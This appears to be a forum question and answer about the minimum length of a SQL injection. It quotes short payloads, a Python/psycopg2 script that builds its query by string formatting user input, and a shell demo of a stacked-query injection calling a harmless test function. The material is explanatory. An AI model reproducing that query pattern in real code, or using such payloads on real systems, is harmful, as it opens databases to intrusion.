What is the minimum input length required for sql injection?
Probably one of the shortest injections are used by sqlmap, for example: "union select version();" (note the leading space).

I can't think of anything shorter than ';call boom()-- - which exploits multiple-query feature of LibPQ, and - obviously - requires top-secret application-specific knowledge.

This code is exploitable:

import sys
import psycopg2
conn = psycopg2.connect(dsn='')
cur = conn.cursor()
sql = "SELECT reltuples, relpages FROM pg_class WHERE relname = '{}'".format(sys.argv[1])
cur.execute(sql)
for row in cur:
    print(row)


Exploited:

$ python exploitable.py pg_class
(342.0, 12)
$ python exploitable.py "';call boom()--"
Traceback (most recent call last):
  File "exploitable.py", line 6, in &lt;module&gt;
    cur.execute(sql)
psycopg2.InternalError: Boom!
CONTEXT:  PL/pgSQL function boom() line 1 at RAISE